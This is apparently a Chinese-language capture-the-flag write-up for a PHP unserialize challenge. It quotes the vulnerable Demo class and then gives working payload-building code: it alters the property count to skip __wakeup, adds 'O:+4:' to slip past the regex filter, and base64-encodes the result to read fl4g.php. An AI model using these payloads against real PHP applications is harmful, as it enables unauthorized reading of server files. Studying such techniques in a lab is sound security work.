題目內容:
出現一段源代碼,分段分析
第一部分如下
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}?>
用php定義了一個對象類為 Demo,出現了三個方法:_construct(),_destruct(),_wakeup()
看到_wakeup()想到了序列化和反序列化。想到利用反序列化繞過_wakeup(),最后還有一個提示flag在fl4g.php中
再看后面的部分
第二部分如下
<?php if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>
這邊很明晰那看出使用了一個叫var的參數用來進行get方法,并且傳后會進行base64進行解碼,
接下去會對你穿的參數進行一個反序列化的判斷,這邊是等下要繞過的考慮點。所以題目比較明顯的點出了需要通過反序列化操作來進行。
操作
通過編譯器直接進行序列化操作
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { $this->file = 'index.php'; } }
}$demo = new Demo('fl4g.php');
// 序列化對象
$payload = serialize($demo);
echo "原始序列化字符串: " . $payload . "\n";
// 1. 繞過__wakeup():修改屬性數量
$payload = str_replace(':1:', ':2:', $payload);
// 2. 繞過正則檢測:在類名長度前添加+號
$payload = str_replace('O:4:', 'O:+4:', $payload);
echo $payload . "\n";?>
這邊要注意的是,因為文中提到的成員變量是private類型所以在demo前和后需加入空字符串,
<?php
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';$err=base64_encode($err);
echo $err;?>
這邊等后面出一個對序列化和反序列化比較詳細的博客在講一講。